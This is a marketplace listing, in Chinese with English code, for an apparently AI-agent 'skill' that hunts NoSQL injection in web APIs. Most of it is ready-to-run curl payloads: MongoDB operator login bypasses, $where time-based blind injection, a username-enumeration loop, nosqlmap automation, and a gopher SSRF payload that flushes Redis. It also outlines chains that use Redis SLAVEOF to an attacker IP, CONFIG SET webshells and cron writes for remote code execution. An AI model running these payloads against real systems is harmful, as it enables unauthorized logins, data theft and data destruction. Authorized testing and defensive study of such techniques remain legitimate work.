mcpField
H
hunt-nosqli

hunt-nosqli

github.com/uphiago安全1.3k41 次安装8 周前更新
代码仓库

关于 hunt-nosqli

hunt-nosqli 是用于检测和验证 NoSQL 注入的安全测试技能,涵盖认证绕过、数据提取和盲注方法,面向评估 Web API 与数据库应用的研究人员。

主要功能

  1. 01MongoDB 操作符注入测试
  2. 02盲 JavaScript 注入检查
  3. 03URL 参数与 JSON 负载测试
  4. 04检查经由 SSRF 访问 Redis 的攻击链
  5. 05验证标准与严重性指引

适用场景

  1. 01测试 JSON 登录端点的认证绕过
  2. 02评估搜索与筛选参数
  3. 03验证未授权数据提取

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-nosqli

安装后在 Claude Code 中输入/hunt-nosqli确认已加载。

详细介绍

HUNT-NOSQLI — NoSQL 注入

皇冠级目标

NoSQL 注入最有价值的情况,是绕过身份验证(严重)或泄露整个用户集合(高危)。

价值最高的攻击链:

  • MongoDB 身份验证绕过 — {"username": {"$gt": ""}, "password": {"$gt": ""}} 会以集合中的第一个用户身份登录(通常是管理员)
  • $where JS 注入 — 如果启用了 $where:盲注 → 数据外泄
  • Redis 命令注入 — 通过 SSRF 或直接 TCP,执行 SLAVEOF attacker-ip → 写入配置 → WebShell
  • Elasticsearch 注入 — 使用 Groovy 脚本注入 _search 端点(5.0 之前)→ RCE

攻击面信号

URL 和参数模式
/api/users/login         POST with JSON body
/api/search?q=
/api/find?filter=
/api/query?where=
Any endpoint accepting JSON body with username/password
技术栈信号
信号攻击向量
响应中出现 MongoDB 错误消息运算符注入
JS 包中出现 mongoose / monkODM 模式
X-Powered-By: ExpressNode.js + MongoDB 常见技术栈
CouchDB/_utils UI 暴露Futon/Fauxton 管理界面
Redis 端口 6379 开放(通过 SSRF)CONFIG SET / SLAVEOF
Elasticsearch :9200 开放脚本注入

分步测试方法

阶段 1 — 身份验证绕过(MongoDB)
# Operator injection in JSON body
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

# Regex wildcard — match any username
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'

# ne (not equal) bypass
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$ne": "wrong"}}'

# in array bypass
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'
阶段 2 — URL 参数注入
# Array notation (Express/PHP-style)
curl --max-time 30 --connect-timeout 10 "https://$TARGET/api/users?username[$gt]=&password[$gt]="
curl --max-time 30 --connect-timeout 10 "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i"

# POST form data
curl --max-time 30 --connect-timeout 10 "https://$TARGET/api/login" \
  --data "username[$gt]=&password[$gt]="
阶段 3 — $where 盲注(基于时间)
# Test if $where is enabled (time-based detection, 5s delay)
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}'
# If response takes 5+ seconds → $where injection confirmed

# Blind data exfil (username starts with 'a'?)
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'
阶段 4 — 通过正则表达式转储数据
# Enumerate usernames character by character
for c in a b c d e f g h i j k l m n o p q r s t u v w x y z; do
  RESP=$(curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/users \
    -H "Content-Type: application/json" \
    -d "{\"username\": {\"\$regex\": \"^$c\"}}")
  echo "$c: $(echo $RESP | wc -c)"
done
阶段 5 — 自动化
# nosqlmap
pip3 install nosqlmap
nosqlmap -u "https://$TARGET/api/login" --attack 1

# nosqlmap data extraction
nosqlmap -u "https://$TARGET/api/login" --attack 2
阶段 6 — 通过 SSRF 访问 Redis
# If SSRF found, probe internal Redis via gopher://
curl --max-time 30 --connect-timeout 10 "https://$TARGET/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a"

# CONFIG SET webshell (if Redis has write access to web root)
# Use SLAVEOF for OOB data exfil

绕过表

防御措施绕过方式
JSON.parse 拒绝对象使用数组:password[$ne]=x(URL 参数)
清理 $使用 Unicode:$gt
阻止运算符键在结构更深层嵌套对象

攻击链表

NoSQLi 发现链接到影响
身份验证绕过访问管理面板完全控制管理员权限
通过正则表达式枚举用户凭证填充攻击大规模 ATO
启用 $where在数据库进程中执行任意 JS数据外泄或 DoS
通过 SSRF 访问 RedisCONFIG SET / SLAVEOFWebShell 或数据外泄

验证

✅ 身份验证绕过:无需有效凭证即可登录,并收到有效的会话令牌 ✅ 数据转储:返回了你无权访问的用户/文档 ✅ 盲注:通过时间延迟(持续超过 4 秒)确认

严重程度:

  • 以管理员身份绕过身份验证:严重
  • 转储用户集合:高危
  • 盲注(无法有效外泄数据):中危

验证

运行此自检,确认 nosqli 测试准备就绪:

  1. 技能完整性 — 确认技能文件可读且格式正确:

    grep -q "name: hunt-nosqli" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. 类别检查 — 确认技能具有类别:

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. 陷阱部分 — 确认已记录相关陷阱:

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

全部 3 项测试可验证技能结构正确且已准备就绪。


陷阱

  • 没有数据外泄的 NoSQL 注入 — 返回 true/false 的 NoSQL 盲注更难利用。需要提取数据或绕过身份验证。
  • 没有枚举证据的 $regex 注入 — 如果 $regex 可注入,应演示基于时间或布尔值的数据提取。
  • MongoDB $where 注入 — $where 会执行 JavaScript。这是影响最大的 NoSQL 注入变体。
  • 运算符注入与值注入 — 在值字段中注入 {"$gt":""} 与在查询结构中注入运算符属于不同的攻击类型。

相关技能

  • hunt-sqli — 传统 SQL 注入可与 NoSQL 注入互补;在同一个参数上测试两者。利用链原语:参数同时接受 SQL ' OR 1=1-- 和 NoSQL {$gt:""} — 先测试 SQL,再测试 NoSQL 运算符注入。
  • hunt-auth-bypass — NoSQLi 登录绕过({\"$ne\":\"\"})属于身份验证绕过原语,而不是数据读取。利用链原语:NoSQLi $gt 绕过 → 管理面板 → 继续利用以提升权限。
  • hunt-ssrf — 通过 SSRF 利用 Redis 是从 NoSQL 注入到 RCE 的典型路径。利用链原语:SSRF → gopher://redis:6379/_CONFIG SET... → 写入 cron → RCE。
  • hunt-rce — 如果 MongoDB 数据库进程可以访问 JS 引擎,则 $where JavaScript 注入可触达 child_process。利用链原语:通过 $where 中的 sleep(5000) 确认 → 使用 JS this.password 导出数据 → 破解管理员哈希。
  • security-arsenal — 获取 NoSQL payload 树:$gt、$ne、$regex、$nin、$where、$exists 运算符、MongoDB 身份验证绕过 JSON、PHP 数组注入 param[$regex]=.* 模式。
  • triage-validation — 应用 Pre-Severity Gate。只能以集合中的第一个用户(通常是测试或管理员账户)身份登录的 NoSQL 身份验证绕过属于 Critical;如果只能以随机用户身份登录,且无法指定目标受害者,则可能属于 Medium。

评论

支持 Markdown